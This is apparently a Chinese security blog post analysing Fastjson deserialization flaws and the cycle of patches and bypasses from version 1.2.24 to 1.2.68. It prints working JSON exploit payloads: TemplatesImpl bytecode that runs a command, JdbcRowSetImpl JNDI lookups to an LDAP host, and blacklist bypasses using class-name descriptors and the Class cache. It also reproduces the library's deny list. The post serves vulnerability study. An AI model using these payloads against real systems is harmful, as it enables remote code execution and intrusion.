之前只是對FastJson漏洞有簡單的一個認知,雖然由於網上fastjson漏洞偵錯的文章很多,但是真正有著自己的理解並能清楚的講述出來的文章少之又少。大多文章都是對已知的漏洞呼叫流程做了大量分析,但是技術細節究竟是怎麼實現的?實現的有什麼問題?安全上能帶來什麼?
「這是最好的時代,也是最壞的時代。」
在《雙城記》中,狄更斯曾如是說道
如今,我們也處於一個最好的時代和一個最壞的時代,一個資訊爆炸的時代。我們每天接收的資訊量頂的上古代人的好幾輩子。只要一開啟電子裝置,鋪天蓋地的資訊都透過螢幕,一併映入眼簾,充斥於耳,無論好的,還是壞的。
做安全,就應該靜下心來看實現,搞研究。學的越多,才發現自己不會的越多,加油吧。
fastjson在GitHub上有著24.9K+的star,是一個深受Java開發者歡迎的開源JSON解析器,它可以解析JSON格式的字串,支援將Java Bean轉為JSON字串,也可以從JSON字串反序列化到JavaBean,或是將字串解析為JSON物件.
在[廖大2017年的一篇博文中](http://xxlegend.com/2017/12/06/基於JdbcRowSetImpl的Fastjson RCE PoC構造與分析/)就對Fastjson的反序列化流程進行了總結:
上圖則是Fastjson反序列框架圖。
其中JSON類為門面類,提供三個靜態方法供程式設計人員使用:
//序列化
String text = JSON.toJSONString(obj);
//反序列化
VO vo = JSON.parse(); //解析為JSONObject型別或者JSONArray型別
VO vo = JSON.parseObject("{...}"); //JSON文字解析成JSONObject型別
VO vo = JSON.parseObject("{...}", VO.class); //JSON文字解析成VO.class類
使用 JSON.parse(jsonString)
和 JSON.parseObject(jsonString, Target.class)
,兩者呼叫鏈一致,前者會在 jsonString 中解析字串獲取 @type
指定的類,後者則會直接使用引數中的class
深入Fastjson框架,可以看到其主要的功能都是在DefaultJSONParser
類中實現的,在這個類中會應用其他的一些外部類來完成後續操作。ParserConfig
主要是進行設定資訊的初始化,JSONLexer
主要是對json字串進行處理並分析,反序列化在JavaBeanDeserializer
中處理
可以看到這裡有三種解析JSON字串的方式,我們使用一個例子來看看,三種解析方式有什麼區別:首先構造一個Evil類:
package org.example;
import com.alibaba.fastjson.JSON;
public class Evil {
private String cmd;
public Evil() {
System.out.println("Evil()" + this.hashCode());
}
public String getCmd() {
System.out.println("getCmd()" + this.hashCode());
return cmd;
}
public void setCmd(String cmd) {
System.out.println("setCmd" + this.hashCode());
this.cmd = cmd;
}
}
接下來使用三種解析方式:
package org.example;
import com.alibaba.fastjson.JSON;
public class FastJsonTest {
public static void main(String[] args) {
String jsonstr ="{\"@type\":\"org.example.Evil\",\"cmd\":\"calc\"}";
JSON.parse(jsonstr);
System.out.println("---------------");
JSON.parseObject(jsonstr,Evil.class);
System.out.println("---------------");
JSON.parseObject(jsonstr);
}
}
使用JSON.parse(jsonstr)
;與JSON.parseObject(jsonstr, Evil.class)
;兩種方式執行後呼叫結果相同。
經過偵錯發現程式最終都會呼叫位於com/alibaba/fastjson/util/JavaBeanInfo.java
中的JavaBeanInfo.build()
方法來獲取並儲存目標Java類中的成員變數以及其對應的setter
、getter
需要滿足以下條件
所以使用 JSON.parse(jsonString)
和 JSON.parseObject(jsonString, Target.class)
,兩者呼叫鏈一致,前者會在 jsonString 中解析字串獲取 @type
指定的類,後者則會直接使用引數中的class。
而第三種JSON.parseObject(jsonString)
會呼叫getter
與setter
針對於上文的分析可以發現,無論使用哪種方式處理JSON字串,都會有機會呼叫目標類中符合要求的Getter方法如果一個類中的Getter方法滿足呼叫條件並且存在可利用點,那麼這個攻擊鏈就產生了。TemplatesImpl
類恰好滿足這個要求
TemplatesImpl之前也說過:Java安全之動態載入位元組碼 。
TemplatesImpl 類位於com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
,實現了 Serializable
介面,因此它可以被序列化,我們來看一下漏洞觸發點。
首先我們注意到該類中存在一個成員屬性 _class
,是一個 Class 型別的陣列,陣列裡下標為_transletIndex
的類會在 getTransletInstance()
方法中使用 newInstance()
範例化。
而類中的 getOutputProperties()
方法呼叫 newTransformer()
方法,而 newTransformer()
又呼叫了 getTransletInstance()
方法
而 getOutputProperties()
方法就是類成員變數 _outputProperties
的 getter 方法
這就給了我們呼叫鏈,那 _class
中的類是否可控呢?看一下呼叫,發現在 readObject
、構造方法以及 defineTransletClasses()
中有賦值的動作
其中 defineTransletClasses()
在 getTransletInstance()
中,如果 _class
不為空即會被呼叫,看一下 defineTransletClasses()
的邏輯
首先要求 _bytecodes
不為空,接著就會呼叫自定義的 ClassLoader 去載入 _bytecodes
中的 byte[]
。而 _bytecodes
也是該類的成員屬性。
而如果這個類的父類別為 ABSTRACT_TRANSLET
也就是com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet
,就會將類成員屬性的,_transletIndex
設定為當前迴圈中的標記位,而如果是第一次呼叫,就是_class[0]
。如果父類別不是這個類,將會丟擲異常。
那這樣一條完整的漏洞呼叫鏈就呈現出來了:
_bytecodes
是我們構造的惡意類的類位元組碼,這個類的父類別是 AbstractTranslet,最終這個類會被載入並使用 newInstance()
範例化。getOutputProperties()
,滿足條件,將會被 fastjson 呼叫,而這個方法觸發了整個漏洞利用流程:getOutputProperties()
-> newTransformer()
-> getTransletInstance()
-> defineTransletClasses()
/ EvilClass.newInstance()
.其中,為了滿足漏洞點觸發之前不報異常及退出,我們還需要滿足 _name
不為 null ,_tfactory
不為 null 。
因此最終的 payload 為:
{
"@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
"_bytecodes": ["yv66vgAAADIANAoABwAlCgAmACcIACgKACYAKQcAKgoABQAlBwArAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAtManNvbi9UZXN0OwEACkV4Y2VwdGlvbnMHACwBAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsHAC0BAARtYWluAQAWKFtMamF2YS9sYW5nL1N0cmluZzspVgEABGFyZ3MBABNbTGphdmEvbGFuZy9TdHJpbmc7AQABdAcALgEAClNvdXJjZUZpbGUBAAlUZXN0LmphdmEMAAgACQcALwwAMAAxAQAEY2FsYwwAMgAzAQAJanNvbi9UZXN0AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvaW8vSU9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABNqYXZhL2xhbmcvRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAUABwAAAAAABAABAAgACQACAAoAAABAAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAIACwAAAA4AAwAAABEABAASAA0AEwAMAAAADAABAAAADgANAA4AAAAPAAAABAABABAAAQARABIAAQAKAAAASQAAAAQAAAABsQAAAAIACwAAAAYAAQAAABcADAAAACoABAAAAAEADQAOAAAAAAABABMAFAABAAAAAQAVABYAAgAAAAEAFwAYAAMAAQARABkAAgAKAAAAPwAAAAMAAAABsQAAAAIACwAAAAYAAQAAABwADAAAACAAAwAAAAEADQAOAAAAAAABABMAFAABAAAAAQAaABsAAgAPAAAABAABABwACQAdAB4AAgAKAAAAQQACAAIAAAAJuwAFWbcABkyxAAAAAgALAAAACgACAAAAHwAIACAADAAAABYAAgAAAAkAHwAgAAAACAABACEADgABAA8AAAAEAAEAIgABACMAAAACACQ=\"],
"_name": "gk0d",
"_tfactory": {},
"_outputProperties": {},
}
其實在在CC3種已經學習過利用方式來,這兒只是複習以下,這裡利用它的話條件相對苛刻。可以說是有一點雞肋的感覺。
JSON.parseObject(input, Object.class, Feature.SupportNonPublicField);
JSON.parse(text1,Feature.SupportNonPublicField);
這是因為payload需要給一些private
屬性賦值。由於部分需要我們更改的私有變數沒有 setter 方法,需要使用 Feature.SupportNonPublicField
引數。
通過JNDI注入來實現RCE,又需要JNDI的東西,所以不過多關注,因為這篇的重點是關注FastJson。
JdbcRowSetImpl 類位於 com.sun.rowset.JdbcRowSetImpl
,這條漏洞利用鏈比較好理解,是 javax.naming.InitialContext#lookup()
引數可控導致的 JNDI 注入。
先看一下 setAutoCommit()
方法,在 this.conn
為空時,將會呼叫 this.connect()
方法。
方法裡呼叫了 javax.naming.InitialContext#lookup()
方法,引數從成員變數 dataSource
中獲取
這時呼叫鏈就十分清晰了,最終的 payload 為:
{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://127.0.0.1:23457/Evil",
"autoCommit":true
}
Fastjson 1.2.24 版本的遠端程式碼執行漏洞可謂是開闢了近幾年來Fastjson漏洞的紀元。在Fastjson 1.2.24版本反序列化漏洞初次披露之後,官方針對這個漏洞進行了修補。然而這個修復方案很快就被發現存在繞過的風險。由於官方的修復方案或多或少都存在著一些問題,隨之而來的是一次又一次的繞過與修復。
簡單來說就是:fastjson通過parse、parseObject處理以json結構傳入的類的字串形時,會預設呼叫該類的setter與建構函式
,並在合適的觸發條件下呼叫該類的getter
方法。當傳入的類中setter、getter方法中存在利用點時,攻擊者就可以通過傳入可控的類的成員變數進行攻擊利用。com.sun.rowset.JdbcRowSetImpl
這條利用鏈用到的是類中setter方法的缺陷,而TemplatesImpl利用鏈則用到的是getter
方法缺陷。
官方主要的修復方案是引入了checkAutotype
安全機制,通過黑白名單機制進行防禦。在隨後的版本中,為了增強漏洞繞過的難度,又在checkAutotype
中採用了一定的加密混淆將本來明文儲存的黑名單進行加密。
在版本 1.2.25 中,官方對之前的反序列化漏洞進行了修復,引入了 checkAutoType 安全機制,預設情況下 autoTypeSupport 關閉,不能直接反序列化任意類,而開啟 AutoType 之後,是基於內建黑名單來實現安全的,fastjson 也提供了新增黑名單的介面。
影響版本:1.2.25 <= fastjson <= 1.2.41
描述:通過為危險功能新增開關,並提供黑白名單兩種方式進行安全防護,其實已經是相當完整的防護思路,而且作者已經意識到黑名單類將會無窮無盡,僅僅通過維護列表來防止反序列化漏洞並非最好的辦法。而且靠使用者自己來關注安全資訊去維護也不現實。
安全更新主要集中在 com.alibaba.fastjson.parser.ParserConfig
,首先檢視類上出現了幾個成員變數:布林型的 autoTypeSupport,用來標識是否開啟任意型別的反序列化,並且預設關閉;字串陣列 denyList ,是反序列化類的黑名單;acceptList 是反序列化白名單。
其中黑名單 denyList 包括:
bsh
com.mchange
com.sun.
java.lang.Thread
java.net.Socket
java.rmi
javax.xml
org.apache.bcel
org.apache.commons.beanutils
org.apache.commons.collections.Transformer
org.apache.commons.collections.functors
org.apache.commons.collections4.comparators
org.apache.commons.fileupload
org.apache.myfaces.context.servlet
org.apache.tomcat
org.apache.wicket.util
org.codehaus.groovy.runtime
org.hibernate
org.jboss
org.mozilla.javascript
org.python.core
org.springframework
新增反序列化白名單有3種方法:
ParserConfig.getGlobalInstance().addAccept(「org.example.fastjson.,org.javaweb.」)
-Dfastjson.parser.autoTypeAccept=org.example.fastjson.
fastjson.parser.autoTypeAccept=org.example.fastjson.
看一下 checkAutoType()
的邏輯,如果開啟了 autoType,先判斷類名是否在白名單中,如果在,就使用 TypeUtils.loadClass
載入,然後使用黑名單判斷類名的開頭,如果匹配就丟擲異常。
如果沒開啟 autoType ,則是先使用黑名單匹配,再使用白名單匹配和載入。最後,如果要反序列化的類和黑白名單都未匹配時,只有開啟了 autoType 或者 expectClass 不為空也就是指定了Class物件時才會呼叫 TypeUtils.loadClass
載入
接著跟一下 loadClass
,這個類在載入目標類之前為了相容帶有描述符的類名,使用了遞迴呼叫來處理描述符中的 [
、L
、;
字元
因此就在這個位置出現了邏輯漏洞,攻擊者可以使用帶有描述符的類繞過黑名單的限制,而在類載入過程中,描述符還會被處理掉。因此,漏洞利用的思路就出來了:需要開啟 autoType,使用以上字元來進行黑名單的繞過。
最終的 payload 其實就是在之前的 payload 類名上前後加上L
和;
即可:
{
"@type":"Lcom.sun.rowset.JdbcRowSetImpl;",
"dataSourceName":"ldap://127.0.0.1:23457/Evil",
"autoCommit":true
}
在版本 1.2.42 中,fastjson 繼續延續了黑白名單的檢測模式,但是將黑名單類從白名單修改為使用 HASH
的方式進行對比,這是為了防止安全研究人員根據黑名單中的類進行反向研究,用來對未更新的歷史版本進行攻擊。同時,作者對之前版本一直存在的使用類描述符繞過黑名單校驗的問題嘗試進行了修復。
影響版本:1.2.25 <= fastjson <= 1.2.42
com.alibaba.fastjson.parser.ParserConfig
這個類,作者將原本的明文黑名單轉為使用了 Hash 黑名單,防止安全人員對其研究
並且在 checkAutoType 中加入判斷,如果類的第一個字元是 L
結尾是 ;
,則使用 substring
進行了去除。
因為在最後處理時是遞迴處理,因此只要對描述符進行雙寫即可繞過:
{
"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;",
"dataSourceName":"ldap://127.0.0.1:23457/Command8",
"autoCommit":true
}
這個版本主要是修復上一個版本中雙寫繞過的問題。
影響版本:
1.2.25 <= fastjson <= 1.2.43
描述:上有政策,下有對策。在L
、;
被進行了限制後,安全研究人員將目光轉向了[
。
可以看到在 checkAutoType
中新增了新的判斷,如果類名以 [
開始則直接丟擲異常。
這樣使用 L
、;
繞過黑名單的思路就被阻擋了,但是在 loadClass
的過程中,還針對 [
也進行了處理和遞迴,利用 [
進行黑名單的繞過。
{
"@type":"[com.sun.rowset.JdbcRowSetImpl"[,
{"dataSourceName":"ldap://127.0.0.1:23457/Command8",
"autoCommit":true
}
這個版本主要是修復上一個版本中使用 [
繞過黑名單防護的問題。
影響版本:
1.2.25 <= fastjson <= 1.2.44
描述:在此版本將[
也進行修復了之後,由字串處理導致的黑名單繞過也就告一段落了。
可以看到在 checkAutoType
中新增了新的判斷,如果類名以 [
開始則直接丟擲異常。
在此版本爆出了一個黑名單繞過,實際上,黑名單是無窮無盡的,隨著 fastjson 的版本更新,一定會有更多的黑名單爆出來,
影響版本:1.2.25 <= fastjson <= 1.2.45
{
"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory",
"properties":{
"data_source":"ldap://127.0.0.1:23457/Command8"
}
}
在 fastjson 不斷迭代到 1.2.47 時,爆出了最為嚴重的漏洞,可以在不開啟 AutoTypeSupport 的情況下進行反序列化的利用。
影響版本:
1.2.25 <= fastjson <= 1.2.32 未開啟 AutoTypeSupport
影響版本:1.2.33 <= fastjson <= 1.2.47
描述:作者刪除了一個 fastjson 的測試檔案:https://github.com/alibaba/fastjson/commit/be41b36a8d748067ba4debf12bf236388e500c66
,裡面包含了這次通殺漏洞的 payload。
這次的繞過問題還是出現在 checkAutoType()
方法中
public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) {
// 類名非空判斷
if (typeName == null) {
return null;
}
// 類名長度判斷,不大於128不小於3
if (typeName.length() >= 128 || typeName.length() < 3) {
throw new JSONException("autoType is not support. " + typeName);
}
String className = typeName.replace('$', '.');
Class<?> clazz = null;
final long BASIC = 0xcbf29ce484222325L; //;
final long PRIME = 0x100000001b3L; //L
final long h1 = (BASIC ^ className.charAt(0)) * PRIME;
// 類名以 [ 開頭丟擲異常
if (h1 == 0xaf64164c86024f1aL) { // [
throw new JSONException("autoType is not support. " + typeName);
}
// 類名以 L 開頭以 ; 結尾丟擲異常
if ((h1 ^ className.charAt(className.length() - 1)) * PRIME == 0x9198507b5af98f0L) {
throw new JSONException("autoType is not support. " + typeName);
}
final long h3 = (((((BASIC ^ className.charAt(0))
* PRIME)
^ className.charAt(1))
* PRIME)
^ className.charAt(2))
* PRIME;
// autoTypeSupport 為 true 時,先對比 acceptHashCodes 載入白名單項
if (autoTypeSupport || expectClass != null) {
long hash = h3;
for (int i = 3; i < className.length(); ++i) {
hash ^= className.charAt(i);
hash *= PRIME;
if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false);
if (clazz != null) {
return clazz;
}
}
// 在對比 denyHashCodes 進行黑名單匹配
// 如果黑名單有匹配並且 TypeUtils.mappings 裡沒有快取這個類
// 則丟擲異常
if (Arrays.binarySearch(denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null) {
throw new JSONException("autoType is not support. " + typeName);
}
}
}
// 嘗試在 TypeUtils.mappings 中查詢快取的 class
if (clazz == null) {
clazz = TypeUtils.getClassFromMapping(typeName);
}
// 嘗試在 deserializers 中查詢這個類
if (clazz == null) {
clazz = deserializers.findClass(typeName);
}
// 如果找到了對應的 class,則會進行 return
if (clazz != null) {
if (expectClass != null
&& clazz != java.util.HashMap.class
&& !expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
return clazz;
}
// 如果沒有開啟 AutoTypeSupport ,則先匹配黑名單,在匹配白名單,與之前邏輯一致
if (!autoTypeSupport) {
long hash = h3;
for (int i = 3; i < className.length(); ++i) {
char c = className.charAt(i);
hash ^= c;
hash *= PRIME;
if (Arrays.binarySearch(denyHashCodes, hash) >= 0) {
throw new JSONException("autoType is not support. " + typeName);
}
if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) {
if (clazz == null) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false);
}
if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
return clazz;
}
}
}
// 如果 class 還為空,則使用 TypeUtils.loadClass 嘗試載入這個類
if (clazz == null) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false);
}
if (clazz != null) {
if (TypeUtils.getAnnotation(clazz,JSONType.class) != null) {
return clazz;
}
if (ClassLoader.class.isAssignableFrom(clazz) // classloader is danger
|| DataSource.class.isAssignableFrom(clazz) // dataSource can load jdbc driver
) {
throw new JSONException("autoType is not support. " + typeName);
}
if (expectClass != null) {
if (expectClass.isAssignableFrom(clazz)) {
return clazz;
} else {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
}
JavaBeanInfo beanInfo = JavaBeanInfo.build(clazz, clazz, propertyNamingStrategy);
if (beanInfo.creatorConstructor != null && autoTypeSupport) {
throw new JSONException("autoType is not support. " + typeName);
}
}
final int mask = Feature.SupportAutoType.mask;
boolean autoTypeSupport = this.autoTypeSupport
|| (features & mask) != 0
|| (JSON.DEFAULT_PARSER_FEATURE & mask) != 0;
if (!autoTypeSupport) {
throw new JSONException("autoType is not support. " + typeName);
}
return clazz;
}
這裡存在一個邏輯問題:autoTypeSupport 為 true 時,fastjson 也會禁止一些黑名單的類反序列化,但是有一個判斷條件:當反序列化的類在黑名單中,且 TypeUtils.mappings 中沒有該類的快取時,才會丟擲異常。這裡就留下了一個伏筆。就是這個邏輯導致了 1.2.32 之前的版本將會受到 autoTypeSupport 的影響。
在 autoTypeSupport 為預設的 false 時,程式直接檢查黑名單並丟擲異常,在這部分我們無法繞過,所以我們的關注點就在判斷之前,程式有在 TypeUtils.mappings 中和 deserializers 中嘗試查詢要反序列化的類,如果找到了,則就會 return,這就避開下面 autoTypeSupport 預設為 false 時的檢查。如何才能在這兩步中將我們的惡意類載入進去呢?
先看 deserializers ,位於 com.alibaba.fastjson.parser.ParserConfig.deserializers
,是一個 IdentityHashMap,能向其中賦值的函數有:
getDeserializer()
:這個類用來載入一些特定類,以及有 JSONType
註解的類,在 put 之前都有類名及相關資訊的判斷,無法為我們所用。initDeserializers()
:無入參,在構造方法中呼叫,寫死一些認為沒有危害的固定常用類,無法為我們所用。putDeserializer()
:被前兩個函數呼叫,我們無法控制入參。因此我們無法向 deserializers 中寫入值,也就在其中讀出我們想要的惡意類。所以我們的目光轉向了 TypeUtils.getClassFromMapping(typeName)
。
同樣的,這個方法從 TypeUtils.mappings
中取值,這是一個 ConcurrentHashMap 物件,能向其中賦值的函數有:
addBaseClassMappings()
:無入參,載入loadClass()
:關鍵函數接下來看一下 loadClass()
的程式碼:
public static Class<?> loadClass(String className, ClassLoader classLoader, boolean cache) {
// 非空判斷
if(className == null || className.length() == 0){
return null;
}
// 防止重複新增
Class<?> clazz = mappings.get(className);
if(clazz != null){
return clazz;
}
// 判斷 className 是否以 [ 開頭
if(className.charAt(0) == '['){
Class<?> componentType = loadClass(className.substring(1), classLoader);
return Array.newInstance(componentType, 0).getClass();
}
// 判斷 className 是否 L 開頭 ; 結尾
if(className.startsWith("L") && className.endsWith(";")){
String newClassName = className.substring(1, className.length() - 1);
return loadClass(newClassName, classLoader);
}
try{
// 如果 classLoader 非空,cache 為 true 則使用該類載入器載入並存入 mappings 中
if(classLoader != null){
clazz = classLoader.loadClass(className);
if (cache) {
mappings.put(className, clazz);
}
return clazz;
}
} catch(Throwable e){
e.printStackTrace();
// skip
}
// 如果失敗,或沒有指定 ClassLoader ,則使用當前執行緒的 contextClassLoader 來載入類,也需要 cache 為 true 才能寫入 mappings 中
try{
ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();
if(contextClassLoader != null && contextClassLoader != classLoader){
clazz = contextClassLoader.loadClass(className);
if (cache) {
mappings.put(className, clazz);
}
return clazz;
}
} catch(Throwable e){
// skip
}
// 如果還是失敗,則使用 Class.forName 來獲取 class 物件並放入 mappings 中
try{
clazz = Class.forName(className);
mappings.put(className, clazz);
return clazz;
} catch(Throwable e){
// skip
}
return clazz;
}
由以上程式碼可知,只要我們能夠控制這個方法的引數,就可以往 mappings 中寫入任意類名。
loadClass
一共有三個過載方法,如下圖
我們需要找到呼叫這些方法的類,並看是否能夠為我們控制:
Class<?> loadClass(String className, ClassLoader classLoader, boolean cache)
:呼叫鏈均在 checkAutoType()
和 TypeUtils
裡自呼叫,略過。Class<?> loadClass(String className)
:除了自呼叫,有一個 castToJavaBean()
方法。Class<?> loadClass(String className, ClassLoader classLoader)
:方法呼叫三個引數的過載方法,並新增引數 true ,也就是會加入引數快取中看一下兩個引數的 loadClass
方法在哪呼叫:
com.alibaba.fastjson.serializer.MiscCodec#deserialze
方法,這個類是用來處理一些亂七八糟類的反序列化類,其中就包括 Class.class
類,成為了我們的入口。
如果 parser.resolveStatus
為TypeNameRedirect
時,進入 if 語句,會解析 「val」 中的內容放入 objVal 中,然後傳入 strVal 中。
後面的邏輯如果 class 是 Class.class
時,將會呼叫 loadClass
方法,將 strVal 進行類載入並快取:
這就完成了惡意類的載入,組成了我們所有的惡意呼叫鏈。但是如何在第二步進入 if 語句呢?這中間的呼叫鏈是什麼樣的呢?我們先構造一個 json :{"@type":"java.lang.Class","val":"aaaaa"}
,偵錯一下:
JSON.parseObject()
呼叫 DefaultJSONParser
對 JSON 進行解析。
DefaultJSONParser.parseObject()
呼叫 checkAutoType()
檢查待載入類的合法性。
由於 deserializers 在初始化時將 Class.class
進行了載入,因此使用 findClass 可以找到,越過了後面 AutoTypeSupport 的檢查。
DefaultJSONParser.parseObject()
設定 resolveStatus 為 TypeNameRedirect。
DefaultJSONParser.parseObject()
根據不同的 class 型別分配 deserialzer,Class 型別由 MiscCodec.deserialze()
處理。
解析 json 中 「val」 中的內容,並放入 objVal 中,如果不是 "val" 將會報錯。
傳遞至 strVal 並使用 loadClass
載入並快取。
此時惡意的 val 成功被我們載入到 mappings 中,再次以惡意類進行 @type 請求時即可繞過黑名單進行的阻攔,因此最終 payload 為:
{
"gk0d": {
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
},
"gk0d": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://127.0.0.1:23457/Evil",
"autoCommit": true
}
}
在 1.2.47 版本漏洞爆發之後,官方在 1.2.48 對漏洞進行了修復,在 MiscCodec
處理 Class 類的地方,設定了cache 為 false ,並且 loadClass
過載方法的預設的呼叫改為不快取,這就避免了使用了 Class 提前將惡意類名快取進去。
這個安全修復為 fastjson 帶來了一定時間的平靜,直到 1.2.68 版本出現了新的漏洞利用方式。
影響版本:fastjson <= 1.2.68
描述:利用 expectClass 繞過 checkAutoType()
,實際上也是為了繞過安全檢查的思路的延伸。主要使用 Throwable
和 AutoCloseable
進行繞過
版本 1.2.68 本身更新了一個新的安全控制點 safeMode,如果應用程式開啟了 safeMode,將在 checkAutoType()
中直接丟擲異常,也就是完全禁止 autoType,不得不說,這是一個一勞永逸的修復方式
但與此同時,這個版本報出了一個新的 autoType 開關繞過方式:利用 expectClass 繞過 checkAutoType()
。
在 checkAutoType()
函數中有這樣的邏輯:如果函數有 expectClass
入參,且我們傳入的類名是 expectClass
的子類或實現,並且不在黑名單中,就可以通過 checkAutoType()
的安全檢測。
接下來我們找一下 checkAutoType()
幾個過載方法是否有可控的 expectClass
的入參方式,最終找到了以下幾個類:
ThrowableDeserializer#deserialze()
JavaBeanDeserializer#deserialze()
ThrowableDeserializer#deserialze()
方法直接將 @type
後的類傳入 checkAutoType()
,並且 expectClass 為 Throwable.class
。
通過 checkAutoType()
之後,將使用 createException
來建立異常類的範例。
這就形成了 Throwable
子類繞過 checkAutoType()
的方式。我們需要找到 Throwable
的子類,這個類的 getter/setter/static block/constructor 中含有具有威脅的程式碼邏輯。
與 Throwable
類似地,還有 AutoCloseable
,之所以使用 AutoCloseable
以及其子類可以繞過 checkAutoType()
,是因為 AutoCloseable
是屬於 fastjson 內建的白名單中,其餘的呼叫鏈一致,流程不再贅述。
fastjson公開的就三條鏈,TemplatesImpl要求太苛刻了,JNDI的話需要伺服器出網才行。這條鏈就是可以應對不出網的情況
BCEL的全名應該是Apache Commons BCEL,屬於Apache Commons專案下的一個子專案,BCEL庫提供了一系列用於分析、建立、修改Java Class檔案的API。就這個庫的功能來看,其使用面遠不及同胞兄弟們,但是他比Commons Collections特殊的一點是,它被包含在了原生的JDK中,位於com.sun.org.apache.bcel
摘自P牛BCEL ClassLoader去哪裡了
C3P0是JDBC的一個連線池元件
JDBC:
「JDBC是Java DataBase Connectivity的縮寫,它是Java程式存取資料庫的標準介面。
使用Java程式存取資料庫時,Java程式碼並不是直接通過TCP連線去存取資料庫,而是通過JDBC介面來存取,而JDBC介面則通過JDBC驅動來實現真正對資料庫的存取。」
連線池:
「我們在講多執行緒的時候說過,建立執行緒是一個昂貴的操作,如果有大量的小任務需要執行,並且頻繁地建立和銷燬執行緒,實際上會消耗大量的系統資源,往往建立和消耗執行緒所耗費的時間比執行任務的時間還長,所以,為了提高效率,可以用執行緒池。
類似的,在執行JDBC的增刪改查的操作時,如果每一次操作都來一次開啟連線,操作,關閉連線,那麼建立和銷燬JDBC連線的開銷就太大了。為了避免頻繁地建立和銷燬JDBC連線,我們可以通過連線池(Connection Pool)複用已經建立好的連線。」
C3P0:
C3P0是一個開源的JDBC連線池,它實現了資料來源和JNDI繫結,支援JDBC3規範和JDBC2的標準擴充套件。 使用它的開源專案有Hibernate、Spring等。
在原生的反序列化中如果找不到其他鏈,則可嘗試C3P0去載入遠端的類進行命令執行。JNDI則適用於Jackson等利用。而HEX序列化位元組載入器的方式可以利用與fastjson和Jackson等不出網情況下打入記憶體馬使用。在C3P0中有三種利用方式
今天只是對FastJson反序列化漏洞原理上的一些分析,而在最後的不出網利用只是簡單的提了一下,具體的實現細節再準備寫一篇詳細的筆記。下面推薦一些在學習中看到的好文章。
https://github.com/safe6Sec/Fastjson
https://blog.play2win.top/2021/11/25/fastjson不出網利用簡析/
http://xxlegend.com/2020/11/22/看快手如何幹掉Fastjson/
https://lihuaiqiu.github.io/2020/09/24/Fastjson分析系列--1-2-22-1-2-24反序列化漏洞分析-1/
FastJson歷史漏洞研究(一) (seebug.org)